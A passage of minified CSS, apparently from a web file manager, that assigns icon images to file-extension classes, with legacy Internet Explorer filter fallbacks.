l,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none 